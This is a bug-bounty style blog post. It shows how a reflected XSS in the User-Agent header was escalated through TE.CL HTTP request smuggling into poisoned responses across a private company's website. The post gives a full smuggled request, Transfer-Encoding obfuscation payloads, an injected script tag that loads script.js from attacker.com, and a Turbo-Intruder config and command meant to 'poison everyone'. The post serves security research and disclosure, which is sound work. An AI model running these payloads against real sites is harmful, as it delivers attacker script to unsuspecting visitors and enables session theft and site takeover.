Posts Exploiting HTTP Request Smuggling (TE.CL)- XSS to website takeover [Bug Hunting]
Post
Cancel

Exploiting HTTP Request Smuggling (TE.CL)- XSS to website takeover [Bug Hunting]

Even though HTTP Request Smuggling is documented back on 2005, it is still one of the least known Webapp vulnerability out there.

After a little break I decided to hunt a private company (which is not eligible for Bug Bounty, but still accepting reports) and what I found might be worth sharing.

Reflected XSS in User-Agent Header

I have developed my own smart XSS fuzzing (which might be soon published) which tests both URL Endpoints and HTTP Headers. Luckily it found that User-Agent is being reflected. We can confirm it by manually send a request with Burp Suite:

reflected_xss_burp

The word Exploitation is being reflected, let’s put a simple XSS and break the Javascript String. The payload will look like this:

1
"><script>alert(`XSS`)</script>

We got XSS, nothing new and interesting by far. Mostly Private Programs don’t accept this bug as in real cases, you can’t send special-crafted HTTP request to an end user. Let’s try to escalate this innocent-looking XSS into something more spicy.

Recon and Detecting HTTP Request Smuggling

Burp Suite has a built-in Extension for this type of vulnerability, and it does test any kind of Smuggling while I do enumerating.

burp_suite_extension

Now let’s perform automatic scans, go to Repeater, right click and click on Launch Smuggle probe.

burp_suite_extension_right_click

If HTTP Smuggling vulnerability is detected, it will be issued on Target tab (it might take some minutes to perform the scans in the background)

vuln_found_by_burp_extension

TE.CL Exploit Development

Before we craft our special-request in Burp Suite, go to the Repeater menu and ensure that the “Update Content-Length” option is unchecked, this way our Content-Length value doesn’t automatically change by Burp Suite, this is a crucial part on this kind of exploitation.

Before doing any further, there are some simple rules to follow during the calculation of Content-Length:

1
2
3
4
5
6
Content-Length = body length
\r\n = 2 bytes
whitespace = 1 byte
1 character = 1 byte
each column ends with \r\n (so it means the number of the characters + 2)
0 and the following 2 newlines are counted as 5 bytes

Below is our crafted payload. Keep in mind that the 2 headers (Transfer-Encoding, and Connection) must be always included. The first chunk (A x 1000) is going to be requested to the front-end server, it contains nothing malicious because it is just a regular request as an ordinary user would do. The reason why Content-length is 1011 (in the photo below is 1005, oops…), is because: (3e8 + \r\n) + (1000*A + \r\n) + (b0 + \r\n). Which means (3 + 2) + (1000 + 2) + (2 + 2) = 1011 bytes. Note: b0 is still considered a part of the first request even though it defines the length of the smuggled request.

So to sum it up:
3e8\r\n -> 5 bytes
AA…AAA\r\n -> 1002 bytes
b0\r\n -> 4 bytes

The second chunk of data is our smuggled request, if successful, we should get Error 404 requests as there is no directory /404hopefully on the website.  After the second chunk, is mandatory to add x=1 or bunch of random data and two newlines after 0.

1
2
0\r\n
\r\n

smuggling_request_development

Send this request to Turbo-Intruder and if we get any 404 Request, it means that our Special-Crafted request is sent to Back-End server.

turbo_intruder_vuln_identification

Suffix Space Bypass - Obfuscating TE Header

We have to obfuscate the TE header, because one of the servers can be induced not to process it. This technique works on quite a few systems, but we can exploit many more by making the Transfer-Encoding header slightly harder to spot, so that one system doesn’t see it. Here are some payloads by James Kettle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

 Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
 : chunked

I used the whitespace as a bypass method.

suffix_tab_bypass

Poisoning response and website takeover

I have created a python script which does craft the request automatically, making it ready to perform attack. It does the calculation of TE Chunk and Content-Length also. You can check it out here:
https://github.com/kleiton0x00/TECL_DesyncCalculator

Note: I slightly edited the script by adding the follow line, so we can inject our XSS in User-Agent header:

1
prefix += 'User-Agent: "><script src=http://attacker.com/script.js></script>' + RN

We run the script and enter the required information:

script_running

There is no reason to add 1000^A in our request, but I added it just to make it cooler and to better understand the behaviour of Smuggled Request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET / HTTP/1.1
Transfer-Encoding : chunked
Host: private.website
Content-length: 4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

3e8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

83
GET / HTTP/1.1
Host: private.website
User-Agent: “><script src=http://attacker.com/script.js></script>
Content-Length: 15
x=1
0


Inside script.js is a simple code which generates a HTML website as a POC (kinda servers as a DOM XSS):

1
document.documentElement.innerHTML=String.fromCharCode(60, 104, 116, 109, 108, 62, 10, 60, 104, 49, 62, 85, 115, 101, 114, 39, 115, 32, 114, 101, 115, 112, 111, 110, 115, 101, 32, 105, 115, 32, 112, 111, 105, 115, 111, 110, 101, 100, 32, 119, 105, 116, 104, 32, 72, 84, 84, 80, 32, 82, 101, 113, 117, 101, 115, 116, 32, 83, 109, 117, 103, 103, 108, 105, 110, 103, 32, 97, 110, 100, 32, 88, 83, 83, 60, 47, 104, 49, 62, 10, 60, 47, 104, 116, 109, 108, 62, 10)

Here is our setup.txt which contains the configuration part of Turbo-Intruder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#credits to https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=20,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0
                           )
    engine.start()
    
    attack = target.req
    engine.queue(attack)
    
    victim = target.req
    for i in range(100000000):
        engine.queue(victim)
        time.sleep(0.05)
        
def handleResponse(req, interesting):
    table.add(req)

There is nothing much left to do, so fire up Turbo-Intruder and poison everyone:

1
java -jar turbo-intruder-all.jar setup.txt request.txt https://www.target.com/ /

turbo_intruder_poisoning_users

As long as the Turbo-Intruder is being run, the XSS payload will be persistent on the website. Below is Javascript being executed:

persistente_xss

References

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://portswigger.net/web-security/request-smuggling
https://www.youtube.com/watch?v=JW2fM_GmidU&t=1s

This post is licensed under CC BY 4.0 by the author.
Contents

Trending Tags